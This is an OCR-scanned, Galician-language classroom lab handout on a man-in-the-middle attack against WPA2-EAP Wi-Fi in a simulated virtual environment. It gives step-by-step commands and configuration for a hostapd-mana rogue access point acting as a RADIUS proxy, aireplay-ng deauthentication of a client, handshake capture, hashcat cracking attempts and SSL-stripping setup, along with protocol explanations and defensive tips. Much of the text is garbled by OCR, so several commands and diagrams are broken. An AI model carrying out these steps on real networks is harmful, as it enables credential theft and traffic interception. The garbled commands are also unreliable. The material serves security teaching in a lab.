TALLER HE
PRACTICA Ataque MITM en Wi-Fi WPA2 (EAP) con hostapd-mana
(cliente ea—eert + deautenticacion cliente + MITM)

ESCENARIO: AP —+ SSID EMPRESA-XYZ —+ WPAZ2 (EAP) —+ Canal 6
MITM — AP Rogue + Proxy —+ SSID EMPRESA-XYZ —+ WPA2 (EAP) —+ Canal 1

MV kaliA
RAM=22048MB :
CPU=2 Saer “*s~. Magquina Virtual
.- - .+ NAT (eth0)
PAE/NX habilitado ,___IW_Q[”_QS_E@_C?___.I @ . e
. i 5t \ AP (Canal 6) ' Yo .
i O ptlca_ . , SSID EMPRr:Sﬁ—)(YZ : ‘.‘ e malin
ISO: Live Kali amd64 ¥ : wpa2 ; Q&
Rede: NAT(eth0) ; 0 Ewlanu :
Wordlist: rockyou . ék _______
mac80211_hwsim ; ' 4
T . \ MITM MITM '
radios=4 - wlan0, wlanl, wlan2, wlan3 : wlan?j.\\ x x H

wlan0 - AP (freeradius,hostapd, ip netns)
wlanl — Cliente (ip netns)

v Proxy/Relay '
’\ l AP (Canall) !

SgID EMPRESA-XYZ !

: 5 wlanl v. WPAZ
wlan2 — unknown (jp netns, MITM (AP Rogue + Proxy)[hostapd-mana], “. namespace MITM -

tools suite: aircrack-ng, hashcat — auditar hash) L *
wlan3 — unknown (tools suite: aircrack-ng — deautenticacion) B nameasrbzace

Namespaces X
phy0 — wlan0 — AP aillado fe e
phyl — wlanl — Cliente aillado
phy2 — wlan2 - AP Rogue aillado

LIMITACION DE RESPONSABILIDADE O autor do presente documento declina calquera |
responsabilidade asociada ao uso incorrecto e/ou malicioso que puidese realizarse coa informacion
exposta no mesmo. Por tanto, non se fai responsable en ningun caso, nin pode ser considerado
legalmente responsable en ningun caso, das consecuencias que poidan derivarse da informacion
contida nel ou que esté enlazada dende ou hacia el, incluindo os posibles erros e informacion
incorrecta existentes, informacion difamatoria, asi como das consecuencias que se poidan derivar
sobre a sua aplicacion en sistemas de informacion reais e/ou virtuais. Este documento foi xerado
para uso didactico e debe ser empregado en contornas privadas e virtuais controladas co permiso
correspondente do administrador desas contornas.

Material necesario Practica: MITM Wi-Fi WPA2 (EAP)
m Host alumnado (1) Prerrequisito: Realizar [O]
m  Maquina virtual GNU/Linux Kali (2) Host alumnado. Maquina virtual GNU/Linux Kali
m [0] 2-Taller-HE-Practica-WiFi-2 amdeéa4:
m [1] FreeRADIUS m Crear seguindo especificacions do escenario.

m Arrancar

m Configurar a rede segun o escenario: NAT(eth0),
AP(wlan0), cliente(wlanl), unknown(wlan2, wlan3)
m Montar AP simulado e aillar

m Conectar co cliente simulado sen ca_cert

m Montar AP Rogue + Proxy

m Investigar co cliente unknown(airodump-ng)

- intentar desconectar cliente simulado - capturar
handshake WPA2 -, non contén o contrasinal —
MITM(mitmproxy)
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Protocolo il eto'do de Seguridade | Ventaxes | Desvantaxes | Ataques tipicos
autenticacion

Como protexerse contra os ataques

1. Usa contrasinais longos e complexos (mdis de 16
caracteres, combinacion de maidsculas, mindsculas,
nimeros e caracteres especiais).

2. Habilita o control de acceso a rede (filtrado

Nivel
seguridade

Ataques de MAC)
Cifrado AES, Menos seguro en | dicionario (forza i P §
i} 3 .. N i 3. Desactiva a reemiticion do handshake para
Pre-Shared Key | pero usa unha Facil de redes grandes ou | bruta usando claves . X i
WPA2-PSK . . i ) L g dificultar a captura do handshake. 1
(clave comin) chave configurar e usar| abertas, risco se a | débiles), - .
. P 4. Habilitar 802.11w (proteccion de tramas de
compartida clave é deébil Ataques de captura xestién):
de handshakes ieeeB0211w=2 — tramas desautenticacidn/desasociacidn
estdn cifradas e non poden ser manipuladas por un
atacante. Require o uso de WPA2 o WPA3 con AES
(non se admite TKIP).
Cifrado AES , Ataques Man-in- 1. Usa TLS ou outros métodes EAP seguros para a
require ' Maior Rl\quere the-Middle (se non | comunicacion entre o cliente e o servidor.
Extensible auteiqLicacién seguridade, pode  configuracién de | hai cifrado TLS 2. Implementa certificados para autenticacion EAP
WPA2-EAP Authentication haseada en usar certificados servidor adecuado), para evitar ataques de MITM. T
Protocol (EAP) servidar e outros métodos (RADIUS), mdis = Ataques de 3. Utiliza contrasinais fortes e técnicas de
de autenticacion complexo diccionario contra | autenticacién multifactorial para protexer as
(RADIUS) A § o
credenciais credenciais.
Ataques de
dicionario offline
(reducidos 1. Activ teccis trad di tr
Cifrado AES, Maxima L significativamente, y _c !\.arr proteccion canra Cowngrading en routers
. - . . Aseglirese de que o . (forzar WPA 3 en vez de WPA2).
Simultaneous resistencia seguridade, pero ainda posibles L, . .
_— ) ) ) todos os ) 2. Usa claves longas e tinicas para cada dispositive.
WPA3-SAE Authentication of mellorada contra mellora a ] - en certas : . i 11
3 ) - | dispositivos son L 3. Reforza a seguridade da configuracion de WPA3
Equals (SAE) | ataques de forza proteccidn contra . condicidns), , i} \ o § .
br . compatibles nas tias redes e dispositivos para  evitar
ruta ataques offline Ataques de

R vulnerabilidades de implementacidn.
downgrading

(forzar a conexidn a
WPAZ)

Conclusién:

* WPA2-PSK: Ten un nivel de seguridade basico, ideal para redes pequenas ou domésticas, pero pode mellorar se se seguen as boas practicas.
* WPA2-EAP: Ten unha maior seguridade grazas i autenticacion centralizada (RADIUS), pero require mais configuracicn.
* WPA3-5AE: O protocolo mdis seguro, protexendo contra moitos tipos de ataques, pero require compatibilidade de dispositivos.
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WPA2-EAP (Wi-Fi Protected Access 2 con Extensible Authentication Protocol):

E un estandar de seguridade para redes inaldmbricas que combina o robusto cifrado de WPA2 con un método de
autenticacion extensible e avanzado. E amplamente empregado en contornas empresariais e institucionais
debido & sGa capacidade para xestionar de forma segura mdultiples usuarios a través dun servidor de
autenticacion centralizado, normalmente baseado en RADIUS (Remote Authentication Dial-In User Service). Este
enfoque utiliza un proceso de autenticacion mutua entre o cliente e o servidor, garantindo que sé usuarios
autorizados poidan acceder a rede.

O proceso de autenticacion en WPA2-EAP baséase en certificados ou credenciais como nomes de usuario e
contrasinais. Existen varios tipos de métodos EAP (chamados tamén "métodos de encapsulacién"), entre os que
destacan EAP-TLS (que usa certificados para unha autenticacion mutua robusta) e PEAP (que encapsula
credenciais en tuneles cifrados para maior seguridade). Unha vez completada a autenticacién, establécese unha
clave de sesién Unica que se usa para cifrar o trafico da rede mediante o protocolo AES-CCMP, proporcionando
confidencialidade e integridade dos datos.

WPA2-EAP é unha solucion altamente escalable e segura, axeitada para redes onde multiples usuarios precisan
conectarse simultaneamente. Ainda que é mais complexo de configurar que outras alternativas como WPA2-PSK,
ofrece unha seguridade significativamente mellorada grazas & sGa autenticacién dindmica e 4 separacién de
credenciais dos usuarios. Isto fai que sexa a opcion preferida en redes empresariais, universidades e institucions
publicas que requiren un alto nivel de control e proteccion.

RADIUS é a opcién por defecto debido & sila compatibilidade e integracion estandar con WPA2-EAP, pero outros
protocolos como Diameter, TACACS+, LDAP e solucions propietarias tamén poden usarse dependendo das
necesidades e a infraestrutura dunha organizacion. A eleccion do backend dependera dos requisitos especificos
en termos de escalabilidade, seguridade e interoperabilidade.
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1. O cliente detecta o SSID da rede e intanta conectarse, solicitando autenticacién indicando que quere usar
802.1X e o protocolo EAP.
2. O Punto de Acceso (AP) actiia como intermediario e reenvia a solicitude ao servidor RADIUS usando
802.1X e o protocolo EAP.
3. O servidor RADIUS verifica a autenticacion do cliente usando a base de datos configurada (certificados,
credenciais, etc.). Dependendo do método EAP configurado:
B Emprégase EAP-TLS, producese un intercambio de certificados entre o cliente e o servidor.
B Emprégase PEAP ou EAP-TTLS, establécese un tunel cifrado no que o cliente envia as stias
credenciais ao servidor.
Durante este proceso, tanto o cliente como o servidor participan no calculo dunha clave maestra
compartida (Master Session Key: MSK)
B O cliente calcula a MSK localmente a partir do intercambio EAP co servidor. Non recibe a MSK
como un valor transmitido, senén que a calcula usando os datos negociados durante a
autenticacion (por exemplo, os datos de sesion e o material criptografico intercambiado).
4. Se a autenticacion é exitosa, o servidor aproba a conexién e comparte a MSK co AP de forma segura,
empregando a canle cifrada entre o servidor e o AP (protexida por unha clave compartida preconfigurada,
tamén chamada "shared secret").

5. Tanto o cliente como o AP usan a MSK como entrada para calcular as claves especificas da sesion,
chamadas (Pairwise Transient Key: PTK), que son empregadas para cifrar o trafico.

Este calculo tamén inclte:
m Nonces xerados polo cliente (SNonce) e o AP (Anonce).
B As direccions MAC do cliente e do AP.

Este proceso garante que tanto o cliente como o AP xeren exactamente as mesmas claves PTK sen que
estas se transmitan directamente.

6. Calculadas as claves o cliente e o AP usan o protocolo AES-CCMP para cifrar o trafico de datos e o cliente
pode acceder a rede.

:Este fluxo asegura que a rede s6 sexa accesible para usuarios autenticados, minimizando riscos e garantindo a
: confidencialidade e integridade dos datos transmitidos.

Resumo do fluxo con participantes:
: 1. Cliente -> Solicita autenticacién -> AP
2. AP -> Reenvia a solicitude -> Servidor RADIUS
3. Servidor RADIUS e Cliente -> Verifican autenticacién e calculan MSK
4. Servidor RADIUS -> Aproba e envia MSK -> AP
5. Cliente e AP -> Usan MSK para calcular PTK
6. Cliente e AP -> Establecen cifrado e acceden a rede
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Caracteristicas de hostapd-mana en modo MITM

hostapd-mana en modo proxy RADIUS permite:

1. Rogue AP con RADIUS Proxy: Actiia como intermediario transparente
2. Credential Harvesting: Captura usuario/contrasinal/hash MSCHAPv2
3. Traffic Interception: Intercepta TODO o trafico entre cliente e rede

4. Session Hijacking: Pode roubar sesiéns autenticadas

5. EAP Method Downgrade: Forza métodos EAP mais débiles (opcional)
6. Logging completo: Rexistra todo o trafico EAP e datos

7. Transparencia total: Cliente mantén acceso funcional 4 rede

Topoloxia l6xica

A seguinte topoloxia amosa como se conectan os 4 namespaces, as 4 consolas e o fluxo

completo do ataque MITM:
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Fluxo completo do ataque (14 pasos)

Fase 1: Conexion inicial e recoinecemento

(®) Cliente (wlan1) conectado ao AP lexitimo (wlan0, Canal 6)
e Autenticacion correcta via RADIUS (192.168.50.1:1812)
e Cliente operativo na rede corporativa

(2 wlan3mon escanea ambos APs

e Executa: airodump-ng wlan3mon

e Detecta AP lexitimo: Canal 6, BSSID wlanO, SSID "EMPRESA-XYZ"
e Detecta MITM AP: Canal 1, BSSID wlan2, SSID "EMPRESA-XYZ"

(3 wlan3mon desautentica cliente (wlan1)

e Executa: aireplay-ng --deauth 50 -a <BSSID_wlan0> wlan3mon
e Cliente (wlan1) desconéctase do AP lexitimo (wlan0O)

e wpa_supplicant inicia busqueda de reconexién

Fase 2: Redireccion ao MITM

(@) Cliente (wlan1) busca reconectarse

e Escanea e ve 2 APs co mesmo SSID: "EMPRESA-XYZ"

e Ambos APs emiten a 20 dBm (limite fixo de mac80211_hwsim)

e A desautenticacion forzou a busqueda de reconexién: o cliente conecta ao primeiro AP disponible que
responda, que con alta probabilidade é o MITM (wlan2)

e Se o cliente reconecta ao AP lexitimo, repetir o paso (3)

Fase 3: Autenticacion EAP (MITM activo)

(5) MITM AP (wlan2) = Cliente (wlan1): EAP Request Identity
e hostapd-mana solicita identidade ao cliente

(6) Cliente (wlan1) = MITM AP (wlan2): EAP Response
¢ Envia: identity="ana"
e CAPTURADO por hostapd-mana v

(7) MITM AP — RADIUS (proxy transparente)
e Fluxo: wlan2 = hostapd-mana — veth0 (192.168.50.100) = br-radius = FreeRADIUS (192.168.50.1:1812)
e Mensaxe: RADIUS Access-Request

Fase 4: Challenge/Response MSCHAPv2

FreeRADIUS = MITM AP: RADIUS Challenge
e Fluxo: FreeRADIUS — br-radius = vethO — hostapd-mana
e Mensaxe: PEAP/MSCHAPv2 challenge
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(®» MITM AP - Cliente: Reenvia challenge
¢ hostapd-mana actiia como proxy transparente

Cliente = MITM AP: PEAP/MSCHAPV2 Response
¢ Cliente calcula response usando password="1234"
e Envia: challenge + response hash (MSCHAPv2)

e CAPTURADO por hostapd-mana v

@11 MITM AP - FreeRADIUS: Reenvia response
e Fluxo: hostapd-mana — vethO — br-radius = FreeRADIUS
¢ FreeRADIUS valida response e aproba autenticacion

Fase 5: Establecemento de sesion cifrada

(12 FreeRADIUS — MITM AP: RADIUS Access-Accept + MSK
e FreeRADIUS envia: Access-Accept + Master Session Key (MSK)
e Fluxo: FreeRADIUS — br-radius = vethO — hostapd-mana

(13 MITM AP - Cliente: EAP Success + 4-way handshake
e hostapd-mana envia: EAP Success
e Negociacion 4-way handshake WPA2:
e MITM AP e Cliente calculan PTK (Pairwise Transient Key)
e Intercambio de nonces (ANonce, SNonce)
e HANDSHAKES WPA2 CAPTURADOS por hostapd-mana v
e Cifrado AES-CCMP activado
¢ Cliente conectado e plenamente funcional

Fase 6: Interceptacion activa

MITM intercepta TODO o trafico
¢ Credenciais capturadas:
e |dentity: "ana" (paso (¢))
e MSCHAPV2 challenge + response (paso (9))
¢ Handshakes WPA2 (paso (3))
e Trafico interceptable:
e HTTP (en texto claro)
e HTTPS (con SSL Stripping mediante mitmproxy)
e Cookies e sesidns
e Aplicacions

NOTA: Os handshakes WPA2-EAP NON son crackeables con dicionarios (contén MSK, non PSK)
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Procedemento:
(1) Host alumnado. Maquina virtual GNU/Linux Kali:

(a) Crear e arrancar unha maquina virtual no equipo do alumnado coas seguintes caracteristicas (ver
escenario):

i. RAM =2048MB

ii. CPU22

iii. PAE/NX habilitado

iv. I1SO: Kali Live amdé4

v. Rede: 1 tarxeta en modo NAT (as wlanX serdn simuladas por mac80211_hwsim)
vi. Nome: Practica-Kali-Auditar-EAP

(b) Rol interfaces Wi-Fi:
Imos empregar:
i. wlanO para AP lexitimo WPA2 (EAP) (shell bash consolal = namespace wifi_ap_wlan0)
ii. wlan1 para o cliente que se conecta a AP (shell bash consola2 — namespace wifi_cliente_wlan1)
iii. wlan2 e wlan3 como un cliente que non sabe o contrasinal para conectarse ao AP:
1. wlan2 MITM (AP Rogue+Proxy) (shell bash consola3 - MTIM — namespace mitm_wlan2)

2. wlan3 Monitor + Deseauth (shell bash consola4 — mode monitor + deautenticar cliente
conectado wlan1 — namespace principal = SEN namespace)
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Consolal - cConfiguracién da rede corporativa simulada

Uy U Uy U Uy U U U >

Uy U

setxkbmap es

#Verificar estado inicial da rede
ip addr show

ip route

cat /etc/resolv.conf

#Cargar médulo para crear 4 interfaces wireless virtuais
sudo modprobe mac80211_hwsim radios=4

#Verificar interfaces creadas (wlan0O, wlanl, wlan2 e wlan3)
ip addr show

#Cambiar a root

sudo su -

##1.Instalar paquetes necesarios

# apt update && apt -y install freeradius hostapd iw iproute2 bridge-utils

##2 .IMPORTANTE: Crear bridge para simular rede corporativa

## Isto permite que RADIUS sexa "externo" e accesible desde calguera namespace
# ip link add br-radius type bridge

# ip link set br-radius up

# ip addr add 192.168.50.1/24 dev br-radius

##3.Habilitar IP forwarding (necesario para comunicacidén entre namespaces)
# sysctl -w net.ipvé4d.ip_forward=1

##4.Verificar bridge creado:

# ip addr show br-radius
## Deberia mostrar: 192.168.50.1/24

##4b. CRITICO: Crear tunel para dar Internet ao bridge

ip link add veth-bridge type veth peer name veth-internet
ip link set veth-bridge master br-radius

ip link set veth-bridge up

ip addr add 192.168.50.254/24 dev veth-internet

ip link set veth-internet up

4 o o3

##Verificar que veth-internet estd operativo:

# ip addr show veth-internet | grep "192.168.50.254"

## Deberia mostrar: inet 192.168.50.254/24 scope global veth-internet
##4c. Configurar NAT no namespace principal (para dar Internet)

# iptables -t nat —-A POSTROUTING -s 192.168.50.0/24 -o eth0O -j MASQUERADE
##4d. Verificar conectividade:

# ping —c 2 8.8.8.8

## Deberia funcionar v
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Consolal

# echo

##6.

- AP lexitimo + RADIUS

##5.Configurar FreeRADIUS no bridge corporativo
'ana Cleartext-Password :=

“externo”

"1234"1

Xerar certificados LEXITIMOS

# cd /etc/freeradius/3.0/certs

# make clean
# make
# cd

##7.

Axutar permisos

(wlanO)

(servidor RADIUS

"externo")

>> /etc/freeradius/3.0/users

# chown —-R freerad:freerad /etc/freeradius/3.0/certs

##8.

# NUM=S$ (cat —n

Configurar PEAP como método por defecto
/etc/freeradius/3.0/mods—enabled/eap |
# sed -1 "${NUM}s/default_eap_type = md5/default_eap_type = peap/"

]*\)ca_file *=.*|\1lca_file
.0/mods-enabled/eap

]*\)private_key file *=.*|\lprivate_key_file
]*\)certificate_file *=.*|\lcertificate_file
= /etc/freeradius/3.0/certs/ca.pem|"

Configurar FreeRADIUS para escoitar no bridge

##9. Actualizar rutas de certificados
# sed -1 \
—e 's|"\ ([[:space:]
—e 's|"\ ([[:space:]
—-e "s|"\ ([[:space:]
/etc/freeradius/3
##10. IMPORTANTE:
# sed -i '0,/ipaddr = \*/

s//ipaddr =

192.

168

.50.1/"

# cat >> /etc/freeradius/3.0/clients.conf <<'EOF'
(bridge br-radius)

## Clientes autorizados para rede corporativa

client bridge-radius {

ipaddr = 192.168.50.0/24
secret = testingl23
require_message_authenticator = no
nas_type = other
}
EOF
##11. Validar configuracidén FreeRADIUS

# freeradius -Cx

##12.

Executar FreeRADIUS

# freeradius -fxx &

##Verificar que FreeRADIUS estd escoitando:

# netstat -ulnp
## Deberia mostrar:

Ricardo Feijoo Costa

grep 1812

192.168.50.1:1812

(escoitar en 192.168.50.1:1812)
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grep default_eap_type

= /etc/freeradius/3.0/certs/server.key|"'
= /etc/freeradius/3.0/certs/server.pem|’

head

=i

\

awk

/etc/freeradius/3.0/sites—enabled/default

"{print $1}'")

/etc/freeradius/3.0/mods—enabled/eap

\
\
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##22. Configurar hostapd para AP lexitimo
# cat > /tmp/wpa-eap-corp.conf <<'EOF'

interface=wlan0

driver=nl80211

country_code=ES

ssid=EMPRESA-XYZ

channel=6

hw_mode=g

wpa=2

wpa_key_mgmt=WPA-EAP

wpa_pairwise=CCMP

rsn_pairwise=CCMP

beacon_int=100

ieeeB8021x=1

# CRITICO: Apuntar ao servidor RADIUS "externo" no bridge
auth_server_addr=192.168.50.1

auth_server_port=1812
auth_server_shared_secret=testingl23

EOF

##23. Levantar interface wlanO0
# ip link set wlanO up

##24. Crear configuracién de dnsmasg-mitm.conf
# cat > /tmp/dnsmasg-corp.conf <<EOF
interface=wlan0

bind-interfaces
dhcp-range=192.168.50.50,192.168.50.100, 12h
dhcp-option=3,192.168.50.1
dhcp-option=6,8.8.8.8,1.1.1.1

log—queries

log—-dhcp

ECE

## Arrancar dnsmasqg

# dnsmasqg -C /tmp/dnsmasg-corp.conf

##25. Executar AP lexitimo
# hostapd /tmp/wpa-eap-corp.conf

## Saida esperada:

## wlanO: interface state UNINITIALIZED->COUNTRY_UPDATE
## wlanO: RADIUS Authentication server 192.168.50.1:1812
## wlan0O: interface state COUNTRY_UPDATE->ENABLED

## wlanO: AP-ENABLED
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Consola3: MITM AP con hostpad-mana (wlan2)

$ sudo

su —

##Instalar dependencias

# apt update && apt -y install git build-essential libssl-dev libnl-3-dev libnl-genl-3-dev pkg-config dnsmasqg

isc-dhcp-client
##Clonar e compilar hostapd-mana

# cd

/opt

# git clone https://github.com/sensepost/hostapd-mana.git

# cd

hostapd-mana

# make -C hostapd
## Verificar instalacidn
# ./hostapd/hostapd -v

##
##

#4#1.
# ip
#4#2.
# ip

##3.
# ip
# ip

#44.
# ip

##5.

# iw

#46.
# ip

##7.
# ip
# ip
# ip

#48.
# ip

##9.

Saida esperada:
hostapd-mana v2.6

Crear namespace MITM e conectar ao bridge corporativo
netns add mitm wlan2

Crear par veth para conectar namespace MITM ao bridge corporativo
link add veth-mitm type veth peer name veth-mitm-br

Conectar veth-mitm-br ao bridge
link set veth-mitm-br master br-radius
link set veth-mitm-br up

Mover veth-mitm ao namespace MITM
link set veth-mitm netns mitm wlan2

Mover wlan2 ao namespace MITM
phy phy2 set netns name mitm wlan2

Entrar ao namespace MITM
netns exec mitm _wlan2 bash

Configurar interface veth dentro do namespace
link set lo up

addr add 192.168.50.100/24 dev veth-mitm

link set veth-mitm up

Configurar ruta por defecto ao bridge (para alcanzar RADIUS)
route add default via 192.168.50.1

Verificar conectividade con RADIUS

# ping -c 2 192.168.50.1
## Deberia funcionar v

##10.

Levantar interface wlan2
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#
ki
#
##
#
ki
#
4
##
##
ki
##
##

##
#

ip link set wlan2 up
11. Aumentar potencia de transmisidn
iw dev wlan2 info | grep txpower

é unha restricidén permanente do mdédulo

terdn sinais similares.

txpower 20.00 dBm
iw dev wlan2 set txpower fixed 3000
Verificar:
iw dev wlan2 info | grep txpower
txpower 30.00 dBm
Non pasa nada se non chega a 30 dBm: mac80211_hwsim ten unha limitacién FIXA de 20 dBm,
de simulacidén do kernel.
O importante é que wlan2 tefla potencia de sinal igual ou maior que wlan0O, xa que con 20dBm vs 20dbm tamén funciona.
O ataque seguirda funcionando porque o cliente escolle o AP con mellor sinal, e ao estar no mesmo host,
A desautenticacidén forzard a reconexidén e hai probabilidade de que escolla o MITM!
12. Configurar hotstapd-mana

cat > /tmp/mana.conf <<'EOF'

# Interface e configuracidén basica
interface=wlan2

driver=nl180211

ssid=EMPRESA-XYZ

channel=1

hw_mode=g

# Configuracién WPA2-EAP
wpa=2

wpa_key_ mgmt=WPA-EAP
wpa_palirwise=CCMP
rsn_pairwise=CCMP
ieeeB8021x=1

# CRITICO: Proxy RADIUS ao servidor corporativo

# 192.168.50.1 é o FreeRADIUS no bridge br-radius
auth_server_addr=192.168.50.1

auth_server_ port=1812
auth_server_shared_secret=testingl23

# Habilitar modo MANA (interceptacidn)
mana_wpe=1
mana_eapsuccess=1

# Logging de credenciais
mana_credout=/tmp/mana-credentials.log

# IMPORTANTE: eap_server=0 significa modo PROXY (non servidor EAP local)
eap_server=0

# Logging avanzado
logger_syslog=-1
logger_stdout=-1
logger_stdout_level=2
EOF
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Consola4: Monitor e Desautenticacidn (wlan3) (namespace PRINCIPAL) (sen illar)

S sudo su -
## IMPORTANTE:

wlan3 gqueda no namespace PRINCIPAL

nt

B mnminds
rrerent

[0)]
[0)]

T

## 2. PASO 1:

He -

27
==

Escanear para identificar APs

art wlan3
wlan3mon

o
=)

## Deberias ver AMBOS APs:
EMPRESA-XYZ (AP lexitimo — wlanO)
EMPRESA-XYZ (MITM - wlan?2?)

## Se non ves o AP lexitimo comproba co seguinte comando:

# airmon-ng st

# airodump-ng
## CH 6: <BS
## CH 1: <BS

# Ctrl~rc

## Anotar:

#H#

#44

##3. PASO 2: CRITICO - Configurar wlan3mon NO CANAL DO AP LEXITIMO

SID wlanO>
SID_wlan2>

— BSSID do AP lexitimo (wlanOQ) :
— Canal do AP lexitimo:

(SEN illar)

(sen especificar canal)

## Se o AP lexitimo estd no canal 6:

# airmon-ng stop wlan3mon

# airmon-ng start wlan3 6

## Verificar que estd no canal correcto:
# iw dev wlan3mon info |

## Deberia mostrar:

##4.

grep channel

channel 6 (2437 MHz)

PASO 3: Aumentar potencia de transmisidn

# iw dev wlan3mon set txpower fixed 3000

## 5. PASO 4:
## Substituir

#

aireplay—-ng

## Deberias
## 09:30:15
## 09:30:15
## 09:30:16

## 6. PASO 5:

#
#

aireplay—-ng
Ctrl+C para
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Desautenticar cliente (wlanl) do AP lexitimo

<BSSID_wlan0> polo BSSID real anotado antes
—a <BSSID_wlan0O> wlan3mon

——deauth 50

ver:

Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX)

Sending 64
Sending 64

Desautenticacidén continua

——deauth 0

directed DeAuth...
directed DeAuth...

—a <BSSID_wlan0> wlan3mon

deter despois de 20-30 segundos

(wlanO)

airodump-ng wlan3mon -c 6

on channel 6

(se o cliente non se desconecta)
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Consola3: MITM » Cliente (wlanl) conecta ao MITM (wlan2)

## Credenciais capturadas por hostapd-mana:

## Visualizar consola3:
/opt/hostapd-mana/hostapd/hostapd /tmp/mana.conf 2>&1 | tee /tmp/mana-ap.log
Configuration file: /tmp/mana.conf
MANA: Captured credentials will be written to file '/tmp/mana-credentials.log'.
Using interface wlan2 with hwaddr 96:34:34:73:46:02 and ssid "EMPRESA-XYZ"
wlan2: RADIUS Authentication server 192.168.50.1:1812
wlan2: interface state UNINITIALIZED->ENABLED
wlan2: AP-ENABLED
wlan2: STA 7a:10:ad:cl:ae:3d IEEE 802.11: authenticated
wlan2: STA 7a:10:ad4:cl:ae:3d IEEE 802.11: associated (aid 1)
wlan2: CTRL-EVENT-EAP-STARTED 7a:10:a4d:cl:ae:3d
wlan2: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA: Captured a WPA/2 handshake from: 7a:10:ad:cl:ae:3d
MANA WPA2 HASHCAT |
WPA*02*4cb8c817f8bee9e5bcc02b78£4d2200c*963434734602*7al0adclae3d*454d50524553412d58595a*
8346d0344198075bb6d2d64cfb5e827926£d1059£53£232310640c574dbf5b73*0103007502010a0000000000
000000000190033a0d895a0383¢c7b7e£f9dc0415£9231ccd4b7099623f1el1dec840bd5e0a25000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000163014
0100000£fac040100000£ac040100000£ac010000*00
MANA: Captured a WPA/2 handshake from: 7a:10:ad:cl:ae:3d
MANA WPA2 HASHCAT |
WPA*02*25fcdbd529b76d4e0£527ef267533626*963434734602*7a10ad4clae3d*454d50524553412d58595a*
8346d0344198075bb6d2d64cfb5e827926£d1059£53£232310640c574dbf5b73*0103005£02030a0000000000
00000000020000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000*00
wlan2: STA 7a:10:ad4:cl:ae:3d WPA: pairwise key handshake completed (RSN)
wlan2: AP-STA-CONNECTED 7a:10:a4:cl:ae:3d
wlan2: STA 7a:10:ad:cl:ae:3d RADIUS: starting accounting session FC4DF90E66BFC4B3
wlan2: STA 7a:10:ad:cl:ae:3d IEEE 802.1X: authenticated - EAP type: 25 (PEAP)
MANA: Captured a WPA/2 handshake from: 7a:10:ad:cl:ae:3d
MANA WPA2 HASHCAT |
WPA*02*3347760b003050847039a8d8d3797dfd*963434734602*7al0ad4clae3d*454d50524553412d58595a*
8346d0344198075bb6d2d64cfb5e827926£d1059£53£232310640c574dbf5b73*0103005£0203020000000000
00000000030000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000*00
wlan2: STA 7a:10:ad:cl:ae:3d WPA: group key handshake completed (RSN)
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Consola5: hashcat - Crackear handshake WPA2(modo 22000 - WPA-PBKDF2-PMKID+EAPOL)
## En modo PROXY, hostapd-mana captura HANDSHAKES WPA2, non credenciais MSCHAPv2

## 1. Extraer handshakes dos logs
#grep "MANA WPA2 HASHCAT" /tmp/mana-ap.log

## Deberias ver 3 handshakes (pairwise, group key, etc.):

## MANA WPA2 HASHCAT | WPA*02*4cb8c817f8bee9e5bcc02b78f4d2200c*. ..
## MANA WPA2 HASHCAT | WPA*02*25fcdbd529b76d4e0f527ef267533626%. ..
## MANA WPA2 HASHCAT | WPA*02*3347760b00305b847039a8d8d3797dfdx*. ..

## 2. Extraer o primeiro handshake (é suficiente)
# grep "MANA WPA2 HASHCAT" /tmp/mana-ap.log | head -1 | awk -F'|' '"{print $2}' | tr -d ' ' > /tmp/wpa2-handshake.hc22000
##NOTA: O formato xa é compatible con hashcat modo 22000

## 3. Verificar hash extraido
# cat /tmp/wpa2-handshake.hc22000
## Deberia mostrar: WPA*Q02*...

## 4. Descomprimir rockyou
# gunzip —-c /usr/share/wordlists/rockyou.txt.gz > /tmp/rockyou.txt

## 5. Crackear handshake WPA2 (modo 22000 - WPA-PBKDF2-PMKID+EAPOL)
# hashcat —-m 22000 /tmp/wpa2-handshake.hc22000 /tmp/rockyou.txt
## Resultado: Exhausted (non atopa nada)

## CONCLUSION:

## A IMPORTANTE: Limitacidén de WPA2-EAP

## En WPA2-EAP, o handshake WPA2 capturado NON contén a contrasinal do usuario.
## Contén a PMK (Pairwise Master Key) derivada do MSK (Master Session Key)que xera o servidor RADIUS.
## Diferenza:

## — WPA2-PSK: PMK PBKDF2 (contrasinal, SSID) - Crackeable

## — WPA2-EAP: PMK = Derivada do MSK - NON crackedbel con dicionario

## O MSK xérao o servidor RADIUS durante a autenticacidén EAP/PEAP,

## e NON estd relacionado directamente coa contrasinal do usuario "1234".

## Se intentas crackear (NON funcionara) :

## O handshake WPA2 en redes EAP NON serve para obter a contrasinal.

## Para capturar credenciais en WPA2-EAP, necesitas:

## 1. Modo Evil Twin (eap_server=1) sen proxy - captura MSCHAPv2

## 2. Interceptar trédfico post-autenticacidn

## 3. SSL Stripping / DNS Spoofing
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Consolaé: MiT™ - ssL Stripping (Downgrade HTTPS - HTTP) + DNS Spoofing + ARP Spoofing(se hai mais clientes na rede)

$ sudo su -

##Instalar mitmproxy
# apt update && apt -y install mitmproxy dsniff ettercap-text-only

##Entrar ao namespace MITM (onde estd& hostapd-mana)
# ip netns exec mitm wlan2 bash

## Verificar que estamos no namespace correcto
# ip netns identify
##Deberia mostrar: mitm_wlan2

##CRITICO: Configurar NAT para dar Internet ao cliente

##0 trafico do cliente (10.0.0.0/24) sae por veth-mitm - br-radius - veth-internet - ethO
## (Asegurate de que fixeches os pasos 4b, 4c na Consola 1)

# iptables -t nat —-A POSTROUTING -s 10.0.0.0/24 -o veth-mitm —-7j MASQUERADE

##Verificar regras NAT:
#iptables -t nat —-L POSTROUTING -n -v
##Deberia mostrar: MASQUERADE all —-- 10.0.0.0/24 anywhere

##Configurar DNS no namespace MITM (para reenviar consultas)
# echo "nameserver 8.8.8.8" > /etc/resolv.conf
# echo "nameserver 1.1.1.1" >> /etc/resolv.conf

##IMPORTANTE: Verificar conectividade con Internet desde namespace MITM
# ping —c 2 8.8.8.8

## Deberia funcionar ¢/ (se fixeches ben o paso 4b, 4c na Consola 1)

## Se NON funciona, volve & Consola 1 e verifica veth-internet

##Redirixir trdfico HTTPS (portos 80 e 443) a mitmproxy (porto 8080) :
